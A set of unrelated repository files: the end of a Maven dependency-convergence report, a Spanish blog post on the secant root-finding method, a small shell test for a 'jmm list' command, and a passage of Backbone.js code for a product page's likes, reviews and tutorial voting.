href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.maven:maven-model<a name="org.apache.maven:maven-model"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">2.2.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.maven:maven-plugin-api<a name="org.apache.maven:maven-plugin-api"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">2.2.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.maven:maven-project<a name="org.apache.maven:maven-project"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">2.2.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.avaje.ebeanorm:avaje-ebeanorm-agent<a name="org.avaje.ebeanorm:avaje-ebeanorm-agent"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="error" src="images/icon_error_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">3.1.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr> <tr class="a"> <td width="25%">3.2.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.codehaus.plexus:plexus-archiver<a name="org.codehaus.plexus:plexus-archiver"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.3</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.codehaus.plexus:plexus-component-annotations<a name="org.codehaus.plexus:plexus-component-annotations"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">1.5.5</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/">com.google.code.play2-maven-plugin:play2-providers</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.codehaus.plexus:plexus-io<a name="org.codehaus.plexus:plexus-io"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.0.6</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.codehaus.plexus:plexus-utils<a name="org.codehaus.plexus:plexus-utils"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.0.6</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.mozilla:rhino<a name="org.mozilla:rhino"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">1.7R4</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.sonatype.plexus:plexus-build-api<a name="org.sonatype.plexus:plexus-build-api"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">0.0.7</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>play:routes-compiler_2.9.2<a name="play:routes-compiler_2.9.2"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.1.5</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>play:sbt-link<a name="play:sbt-link"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.1.5</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>play:templates-compiler_2.9.2<a name="play:templates-compiler_2.9.2"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.1.5</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>rhino:js<a name="rhino:js"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">1.7R2</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr></table></td></tr></table></div></div> </div> </div> </div> <hr/> <footer> <div class="container-fluid"> <div class="row-fluid"> <p >Copyright &copy; 2013&#x2013;2014. All rights reserved. </p> </div> </div> </footer> </body> </html>
{ "content_hash": "cc089d54ceba46aa8d1c31123299c42b", "timestamp": "", "source": "github", "line_count": 595, "max_line_length": 324, "avg_line_length": 44.23025210084034, "alnum_prop": 0.6015503286848805, "repo_name": "play2-maven-plugin/play2-maven-plugin.github.io", "id": "a45fbea7cb3fcc3372593dc8781e09544ae933a7", "size": "26317", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "play2-maven-plugin/1.0.0-alpha6/play2-provider-api/dependency-convergence.html", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "2793124" }, { "name": "HTML", "bytes": "178221432" }, { "name": "JavaScript", "bytes": "120742" } ], "symlink_target": "" }
layout: post comments: true title: "Método de la Secante" desc: "Entrada de prueba de mi blog" keywords: "code,scilab,matlab" date: 2013-11-06 categories: [Code] tags: [blog] icon: fa-code --- <style type="text/css"> .gist {width:650px !important;} .gist-file .gist-data {max-height: 650px;overflow: auto;max-width: 650px;overflow: auto;} </style> <script defer src="/static/js/fontawesome-all.js"></script> Uno de los problemas de la implementación del método de Newton-Raphson es el de la evaluación de la derivada. Puede que esto no sea un inconveniente para los polinomios y algunas otras funciones, pero existen algunas otras funciones para las cuales la derivada puede ser difícil de evaluar. Además también pudiera darse el caso en que en realidad no contemos con una función como tal sino que solo dispongamos de un conjunto de puntos $(x_i,f(x_i))$ de tal manera que tampoco sería posible obtener de forma analítica la derivada de nuestra función objetivo.Para casos como estos, la derivada su puede aproximar como una diferencia dividida finita regresiva. La derivada se puede aproximar entonces de la siguiente forma: $$f'(x_i) \cong \frac{f(x_{i-1})-f(x_i)}{x_{i-1}-x_i} \label{ec1}$$ Esta aproximación se puede sustituir en la ecuación empleada en el método de Newton-Raphson: $$x_{i+1}=x_i-\frac{f(x_i)}{f'(x_i)} \label{ec2}$$ Sustituyendo ahora \eqref{ec1} en \eqref{ec2}, obtenemos: $$x_{i+1}=x_i-\frac{f(x_i)(x_{i-1}-x_i)}{f(x_{i-1})-f(x_i)} \label{ec3}$$ De esta forma la ecuación \eqref{ec3} es la formula para el Método de la Secante. Nótese que en este caso a diferencia del método de Newton-Raphson es necesario dos puntos para poder iniciar el método. [<center><img src="/static/assets/img/blog/code/secante.png" width="500px"/></center>](/static/assets/img/blog/code/secante.png) Método de la Secante <center> <script src="https://gist.github.com/jdelacruz26/741bdd556ed90d05f21e960f16d796d6.js"></script> </center> --- <center> <a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a><br /><span xmlns:dct="http://purl.org/dc/terms/" property="dct:title">Método de la Secante</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="https://jdelacruz26.github.io/" property="cc:attributionName" rel="cc:attributionURL">Jorge De La Cruz</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International License</a>. </center>
{ "content_hash": "716713e57416da809a3cc0005fc68ccd", "timestamp": "", "source": "github", "line_count": 44, "max_line_length": 720, "avg_line_length": 59.04545454545455, "alnum_prop": 0.7378752886836027, "repo_name": "jdelacruz26/jdelacruz26.github.io", "id": "2efc78e6eb1a3fc01fc7832f217f5f6cea400c2b", "size": "2623", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "_posts/2013-11-06-secante.md", "mode": "33188", "license": "mit", "language": [ { "name": "C++", "bytes": "10332" }, { "name": "CSS", "bytes": "171474" }, { "name": "HTML", "bytes": "46635" }, { "name": "JavaScript", "bytes": "87539" } ], "symlink_target": "" }
source ../jmm.sh data=$(jmm list $JMMPATH/src/github/com/jminusminus/jmmrecursiveimport) if [[ "$data" == *"github.com/jminusminus/jmmrecursiveimport"* ]]; then echo "" else echo "Test did not execute." exit 1 fi data=$(jmm list $JMMPATH/src/github/com/jminusminus/jmminstall/BuildClass.java) if [[ "$data" == *"github.com/jminusminus/jmminstall"* ]]; then echo "" else echo "Test did not execute." exit 1 fi exit 0
{ "content_hash": "e67cfa0d1e20d5199056d77babe5dd8b", "timestamp": "", "source": "github", "line_count": 16, "max_line_length": 79, "avg_line_length": 26.375, "alnum_prop": 0.7109004739336493, "repo_name": "jminusminus/jmm", "id": "dcb31780b6f7c8637fc424b6a491c89d848488da", "size": "565", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "test/functional/jmm_list.sh", "mode": "33261", "license": "bsd-3-clause", "language": [ { "name": "Shell", "bytes": "26346" } ], "symlink_target": "" }
<script> var app = {}; app.User = Backbone.Tastypie.Model.extend({ urlRoot : "/api/v1/user/", idAttribute : "id", url : function() { if(this.get("id") == undefined) { return this.urlRoot; } else { return this.urlRoot + this.get("id") + "/"; } }, }); app.initializeUser = function() { var cur_fb_user = app.cur_fb_user; if(cur_fb_user == undefined) { if(!cur_user_details.id) { alert('Please Login!'); return; } cur_fb_user = new app.User({'id' : cur_user_details.id}); cur_fb_user = cur_fb_user.fetch({ success : function(model, response) { app.cur_fb_user = response; }, }); } }; /** Product Likes **/ app.ProductLike = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/likes/product_p/', idAttribute : 'id', defaults : { 'added_time' : 'Now', }, }); app.ProductLikeList = Backbone.Tastypie.Collection.extend({ model : app.ProductLike, urlRoot : '/api/v1/likes/product_p/?product={{product_id}}', initialize : function() { this.fetch(); }, url : function() { if(this.curUserLike != undefined) { return this.urlRoot + "&liker=" + cur_user_details.id; } return this.urlRoot + "&limit=2"; }, fetchCurUserLikes : function() { this.curUserLike = true; }, }); app.ProductLikeView = Backbone.View.extend({ el : $('#product_like'), template : Handlebars.compile($('#like_template').html()), options : { 'likes_string' : "Be the first one to like this!", }, events : { 'click .like_product' : 'clickLike', }, clickLike : function(event) { var product_id = parseInt(event.target.id.substring(5)); var newLike = new app.ProductLike({ 'product' : '/api/v1/product/{{product_id}}/', 'liker' : app.cur_fb_user, }); var that = this; newLike.save(null, { success : function() { that.options.total_likes++; that.options.curUserLikes = true; that.loadLikesString(); // that.render(); }, error : function() { that.options.total_likes--; that.options.curUserLikes = false; that.loadLikesString(); // that.render(); }, }); }, initialize : function() { this.listenTo(app.likes, 'reset', this.addAll); this.listenTo(app.likes, 'add', this.addAll); this.listenTo(app.likes, 'change', this.addAll); this.loadCurUserLikeStatus(); }, addAll : function() { if(this.options.total_likes == undefined) { this.options.total_likes = app.likes.meta.total_count; } this.loadLikesString(); }, render : function() { this.$el.html(''); this.$el.append(this.template({ 'product_id' : {{product_id}}, 'cur_user_likes' : this.options.curUserLikes, 'likes_string' : this.options.likes_string, })); this.$el.find('.tooltips').tooltip(); $('.fade').remove(); }, loadCurUserLikeStatus : function() { var curUserLikes = new app.ProductLikeList(); curUserLikes.fetchCurUserLikes(); var that = this; curUserLikes.fetch({ success : function(collection, response) { if(response.meta.total_count == 0) { that.options.curUserLikes = false; } else { that.options.curUserLikes = true; } that.loadLikesString(); }, }); }, loadLikesString : function() { var total_likes = this.options.total_likes; var likes_string = ""; if(app.likes.models[0] == undefined) { likes_string = "Be the first one to like this!"; } else if(this.options.curUserLikes) { if(total_likes == 1) { likes_string = "You like this!"; } else if (total_likes == 2) { if(app.likes.models[0].id == cur_user_details.id) likes_string = "You and " + app.likes.models[1].get('liker').facebook_name + " like this!"; else likes_string = "You and " + app.likes.models[0].get('liker').facebook_name + " like this!"; } else { if(app.likes.models[0].id == cur_user_details.id) likes_string = "You, " + app.likes.models[1].get('liker').facebook_name + " and " + (total_likes - 2) + " others like this!"; else likes_string = "You, " + app.likes.models[0].get('liker').facebook_name + " and " + (total_likes - 2) + " others like this!"; } } else { if(total_likes == 0) { likes_string = "Be the first one to like this!"; } else if (total_likes == 1) { likes_string = app.likes.models[0].get('liker').facebook_name + " likes this!"; } else { likes_string = app.likes.models[0].get('liker').facebook_name + " and " + (total_likes - 1) + " others likes this!"; } } this.options.likes_string = likes_string; this.render(); }, }); /** Product Images **/ app.Image = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/image_p/', idAttribute : 'id', }); app.ImageList = Backbone.Tastypie.Collection.extend({ model : app.Image, urlRoot : '/api/v1/image_p/?product={{product_id}}&limit=10', initialize : function() { this.fetch(); } }); app.ImageView = Backbone.View.extend({ el : '#imagelist', template : Handlebars.compile($('#image_template').html()), options : { images_per_row : 6, cur_image_counter : 0, }, events : { 'click .product_image' : 'clickImage', }, initialize : function() { this.listenTo(app.images, 'add', this.addAll); this.listenTo(app.images, 'change', this.addAll); }, addAll : function() { $("#mainimage").find('img').attr('src', ''); if (app.images.size()) { for(var i=0; i<app.images.models.length; i++) { if(app.images.models[i].get('url')) { $("#mainimage").find('img').attr('src', app.images.models[i].get('url')); break; } } } this.$el.html(''); this.options.cur_image_counter = 0; app.images.each(this.render, this); }, render : function(model) { if(this.options.cur_image_counter % this.options.images_per_row == 0) { this.$el.append("<div class='row images-row'></div></br>"); } this.$el.find(".images-row").last().append(this.template(model.toJSON())); this.options.cur_image_counter++; this.$el.find('.tooltips').tooltip(); return this; }, clickImage : function(event) { var image_id = parseInt(event.target.id.substring(4)); $("#mainimage").find('img').attr('src', app.images.get(image_id).get('url')); }, }); /** Product Description **/ app.ProductDescription = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/description_p/', }); app.ProductDescriptionList = Backbone.Tastypie.Collection.extend({ model : app.ProductDescription, urlRoot : '/api/v1/description_p/?product={{product_id}}', initialize : function() { this.fetch(); }, }); app.ProductDescriptionView = Backbone.View.extend({ el : '#descriptionlist', template : Handlebars.compile($('#description_template').html()), template_tab : Handlebars.compile($('#description_tab_template').html()), initialize : function() { this.listenTo(app.descriptions, 'add', this.addAll); this.listenTo(app.descriptions, 'change', this.addAll); }, addAll : function() { this.$el.html(''); $('#descriptiontablist').html(''); app.descriptions.each(this.render, this); $('#descriptiontablist a:first').tab('show'); }, render : function(model) { this.$el.append(this.template(model.toJSON())); $('#descriptiontablist').append(this.template_tab(model.toJSON())); this.$el.find('.tooltips').tooltip(); return this; }, }); /** ShopUrlClick Interaction **/ app.ShopUrlClick = Backbone.Tastypie.Model.extend({ urlRoot : "/api/v1/user_interactions/", defaults : { 'added_time' : 'Now', 'event' : 401, 'event_id' : '', 'score' : 0, }, }); /** Product Shop Urls **/ app.ProductShopUrl = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/shopurl_p/', }); app.ProductShopUrlList = Backbone.Tastypie.Collection.extend({ model : app.ProductShopUrl, urlRoot : '/api/v1/shopurl_p/?product={{product_id}}', initialize : function() { this.fetch(); }, }); app.ProductShopUrlView = Backbone.View.extend({ el : $('#shopurllist'), template : Handlebars.compile($('#shopurl_template').html()), events : { 'click .click_shopurl' : 'newShopUrlInteraction', }, initialize : function() { this.listenTo(app.shopUrls, 'add', this.addAll); }, addAll : function() { this.$el.html(''); app.shopUrls.each(this.render, this); }, render : function(model) { this.$el.append(this.template(model.toJSON())); return; }, newShopUrlInteraction : function(event) { var shopUrlId = parseInt(event.target.id.substring(8)); var newInteraction = new app.ShopUrlClick(); newInteraction.set({ 'event_id' : shopUrlId, 'user' : app.cur_fb_user, }); newInteraction.save(); // alert("this is a test"); shopUrl=app.shopUrls.get('/api/v1/shopurl_p/'+shopUrlId+'/'); //for mixpanel var position = app.shopUrls.indexOf(shopUrl); shopUrl=shopUrl.attributes; var user=""; if (app.cur_fb_user) user=app.cur_fb_user.facebook_name mixpanel.track("Clicked Get it from", {id:shopUrlId,user:user,store_name:shopUrl.shop.name,store_likes:shopUrl.shop.likes.length,position:position}); return this; }, }); /** Product Reviews **/ app.ProductReview = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/review_p/', idAttribute : 'id', defaults : { added_time : 'Now', title : '', review : '', rating : 0, votes : 0, cur_user_vote : 0, }, initialize : function() { this.bind('change:cur_user_vote', this.updateVoteBools, this); this.initStars(); this.initCurUserLike(); }, initStars : function() { var stars = ""; for(var i=0; i<this.get('rating'); i++) { stars += "<i class=\"icon-star\"></i>"; } for(var i=0; i<(5-this.get('rating')); i++) { stars += "<i class=\"icon-star-empty\"></i>"; } this.set({'stars':stars}); }, initCurUserLike : function() { var curUserVotes = new app.VoteReviewList(); curUserVotes.setUserId(cur_user_details.id); curUserVotes.setReviewId(this.id); var that = this; curUserVotes.fetch({ success : function(model, response) { if(response.objects.length > 0){ if(response.objects[0].vote) that.set({'cur_user_vote' : 1}); else that.set({'cur_user_vote' : -1}); } else { that.set({'cur_user_vote' : 0}); } }, }); }, updateVoteBools : function() { var cur_user_vote = this.get('cur_user_vote'); if(cur_user_vote == 1) { this.set({ 'cur_user_upvote' : true, 'cur_user_downvote' : false, }); } else if(cur_user_vote == 0) { this.set({ 'cur_user_upvote' : false, 'cur_user_downvote' : false, }); } else { this.set({ 'cur_user_upvote' : false, 'cur_user_downvote' : true, }); } }, }); app.ProductReviewList = Backbone.Tastypie.Collection.extend({ model : app.ProductReview, urlRoot : '/api/v1/review_p/?limit=30&product={{product_id}}', initialize : function() { this.fetch(); }, }); app.ProductReviewView = Backbone.View.extend({ el : '#product_reviews', template : Handlebars.compile($('#review_template').html()), options : { 'change_ratings' : true, 'rating' : 0, }, initialize : function() { this.listenTo(app.reviews, 'add', this.addAllReviews); this.listenTo(app.reviews, 'change', this.addAllReviews); }, reInitialize : function() { $('#new_review').hide(); $('#create_review').show(); this.changeReviewRatings(0); this.options.change_ratings = true; this.options.rating = 0; }, addAllReviews : function() { this.$('#reviews_list').html(''); app.reviews.each(this.renderReview, this); }, renderReview : function(model) { this.$('#reviews_list').append(this.template(model.toJSON())); this.$el.find('.tooltips').tooltip(); return this; }, events : { 'click #create_review' : 'createReview', 'click #submit_review' : 'submitReview', 'mouseover .review_ratings' : 'mouseoverRating', 'click .review_ratings' : 'clickRating', 'click .upvote' : 'upvoteReview', 'click .downvote' : 'downvoteReview', }, upvoteReview : function(event) { var review_id = parseInt(event.target.id.substring(7)); var newVote = new app.VoteReview({ user : cur_user_details.id, reviewId : review_id, vote : true, }); newVote.save(null, { success : function(model, response) { var curReview = app.reviews.get(review_id); var cur_user_vote = parseInt(curReview.get('cur_user_vote')); if(cur_user_vote == 1) { curReview.set({'votes' : curReview.get('votes')-1}); curReview.set({'cur_user_vote' : 0}); } else if (cur_user_vote == 0) { curReview.set({'votes' : curReview.get('votes')+1}); curReview.set({'cur_user_vote' : 1}); } else { curReview.set({'votes' : curReview.get('votes')+2}); curReview.set({'cur_user_vote' : 1}); } }, }); }, downvoteReview : function(event) { var review_id = parseInt(event.target.id.substring(9)); var newVote = new app.VoteReview({ user : cur_user_details.id, reviewId : review_id, vote : false, }); newVote.save(null, { success : function(model, response) { var curReview = app.reviews.get(review_id); var cur_user_vote = parseInt(curReview.get('cur_user_vote')); if(cur_user_vote == 1) { curReview.set({'votes' : curReview.get('votes')-2}); curReview.set({'cur_user_vote' : -1}); } else if(cur_user_vote == 0) { curReview.set({'votes' : curReview.get('votes')-1}); curReview.set({'cur_user_vote' : -1}); } else { curReview.set({'votes' : curReview.get('votes')+1}); curReview.set({'cur_user_vote' : 0}); } }, }); }, createReview : function() { $("#new_review").show(); $("#create_review").hide(); }, submitReview : function() { var review_title = $('#new_review').find('input').val(); $('#new_review').find('input').val(''); var review_body = $('#new_review').find('textarea').val(); $('#new_review').find('textarea').val(''); var newReview = new app.ProductReview({ title : review_title, review : review_body, user : app.cur_fb_user, product : '/api/v1/product_p/' + app.product.get('id') + '/', rating : this.options.rating, }); newReview.save(null, { success : function(model, response) { app.reviews.add(response); }, }); this.reInitialize(); }, changeReviewRatings : function(rating) { for(var i=1; i<=rating; i++) { $('.rating_'+i)[0].className = "icon-star review_ratings rating_"+i; } for(var i=rating+1; i<=5; i++) { $('.rating_'+i)[0].className = "icon-star-empty review_ratings rating_"+i; } }, mouseoverRating : function(event) { if(this.options.change_ratings) { var rating = parseInt(event.target.classList[2].substring(7)); this.changeReviewRatings(rating); } }, clickRating : function(event) { this.options.change_ratings = false; var rating = parseInt(event.target.classList[2].substring(7)); this.changeReviewRatings(rating); this.options.rating = rating; } }); app.VoteReview = Backbone.Tastypie.Model.extend({ defaults : { user : '', vote : '', added_time : 'Now', review : '', }, urlRoot : '/api/v1/votes/review_p/', url : function() { if(this.id!=undefined) { return this.urlRoot + this.id + "/"; } else { return this.urlRoot; } }, initialize : function() { if(this.get('reviewId') != undefined) { this.set({'review' : '/api/v1/review_p/' + this.get('reviewId') + "/"}); } }, idAttribute : "id", }); app.VoteReviewList = Backbone.Tastypie.Collection.extend({ model : app.VoteReview, urlRoot : '/api/v1/votes/review_p/', url : function() { if(this.userId != undefined && this.reviewId != undefined) { return this.urlRoot + "?review=" + this.reviewId + "&user=" + this.userId; } return this.urlRoot; }, setUserId : function(userId) { this.userId = userId; }, setReviewId : function(reviewId) { this.reviewId = reviewId; }, }); /** Tutorials **/ app.Tutorial = Backbone.Tastypie.Model.extend({ urlRoot : '/api/v1/tutorial_p/', idAttribute : 'id', defaults : { added_time : 'Now', description : '', url : '', votes : 0, cur_user_vote : 0, cur_user_upvote : false, cur_user_downvote : false, }, initialize : function() { this.bind('change:cur_user_vote', this.updateVoteBools, this); this.initCurUserVote(); }, initCurUserVote : function() { var curUserVotes = new app.VoteTutorialList(); curUserVotes.setUserId(cur_user_details.id); curUserVotes.setTutorialId(this.id); var that = this; curUserVotes.fetch({ success : function(model, response) { if(response.objects.length > 0){ if(response.objects[0].vote) that.set({'cur_user_vote' : 1}); else that.set({'cur_user_vote' : -1}); } else { that.set({'cur_user_vote' : 0}); } }, }); }, updateVoteBools : function() { var cur_user_vote = this.get('cur_user_vote'); if(cur_user_vote == 1) { this.set({ 'cur_user_upvote' : true, 'cur_user_downvote' : false, }); } else if(cur_user_vote == 0) { this.set({ 'cur_user_upvote' : false, 'cur_user_downvote' : false, }); } else { this.set({ 'cur_user_upvote' : false, 'cur_user_downvote' : true, }); } }, }); app.TutorialList = Backbone.Tastypie.Collection.extend({ model : app.Tutorial, urlRoot : '/api/v1/tutorial_p/?limit=0&products={{product_id}}', initialize : function() { this.fetch(); }, }); app.TutorialView = Backbone.View.extend({ el : '#product_tutorials', template : Handlebars.compile($('#tutorial_template').html()), initialize : function() { this.listenTo(app.tutorials, 'add', this.addAllTutorials); this.listenTo(app.tutorials, 'change', this.addAllTutorials); }, addAllTutorials : function() { $('#tutoriallist').html(''); app.tutorials.each(this.renderTutorial, this); }, renderTutorial : function(model) { $('#tutoriallist').append(this.template(model.toJSON())); $('#tutoriallist').find('.tooltips').tooltip(); return this; }, events : { 'click #tutorialsubmit' : 'submitTutorial', 'click .upvote' : 'upvoteTutorial', 'click .downvote' : 'downvoteTutorial', }, upvoteTutorial : function(event) { var tutorial_id = parseInt(event.target.id.substring(7)); var newVote = new app.VoteTutorial({ user : app.cur_fb_user, tutorialId : tutorial_id, vote : true, }); newVote.save(null, { success : function(model, response) { var curTutorial = app.tutorials.get(tutorial_id); var cur_user_vote = parseInt(curTutorial.get('cur_user_vote')); if(cur_user_vote == 1) { curTutorial.set({ 'votes' : curTutorial.get('votes')-1, 'cur_user_vote' : 0, }); curTutorial.set({}); } else if (cur_user_vote == 0) { curTutorial.set({ 'votes' : curTutorial.get('votes')+1, 'cur_user_vote' : 1, }); } else { curTutorial.set({ 'votes' : curTutorial.get('votes')+2, 'cur_user_vote' : 1, }); } }, }); }, downvoteTutorial : function(event) { var tutorial_id = parseInt(event.target.id.substring(9)); var newVote = new app.VoteTutorial({ user : app.cur_fb_user, tutorialId : tutorial_id, vote : false, }); newVote.save(null, { success : function(model, response) { var curTutorial = app.tutorials.get(tutorial_id); var cur_user_vote = parseInt(curTutorial.get('cur_user_vote')); if(cur_user_vote == 1) { curTutorial.set({'votes' : curTutorial.get('votes')-2}); curTutorial.set({'cur_user_vote' : -1}); } else if(cur_user_vote == 0) { curTutorial.set({'votes' : curTutorial.get('votes')-1}); curTutorial.set({'cur_user_vote' : -1}); } else { curTutorial.set({'votes' : curTutorial.get('votes')+1}); curTutorial.set({'cur_user_vote' : 0}); } }, }); }, submitTutorial : function(event) { var url = $('#tutorial_url_input').val(); $('#tutorial_url_input').val(''); var newTutorial = new app.Tutorial({ description : '', user : app.cur_fb_user, url : url, products : [ '/api/v1/product_p/' + app.product.get('id') + '/', ], }); newTutorial.save(null, { success : function(model, response) { app.tutorials.add(response); }, }); }, }); app.VoteTutorial = Backbone.Tastypie.Model.extend({ defaults : { user : '', vote : '', added_time : 'Now', tutorial : '', }, urlRoot : '/api/v1/votes/tutorial_p/', url : function() { if(this.id!=undefined) { return this.urlRoot + this.id + "/"; } else { return this.urlRoot; } }, initialize : function() { if(this.get('tutorialId') != undefined) { this.set({'tutorial' : '/api/v1/tutorial_p/' + this.get('tutorialId') + "/"}); } }, idAttribute : "id", }); app.VoteTutorialList = Backbone.Tastypie.Collection.extend({ model : app.VoteTutorial, urlRoot : '/api/v1/votes/tutorial_p/', url : function() { if(this.userId != undefined && this.tutorialId != undefined) { return this.urlRoot + "?tutorial=" + 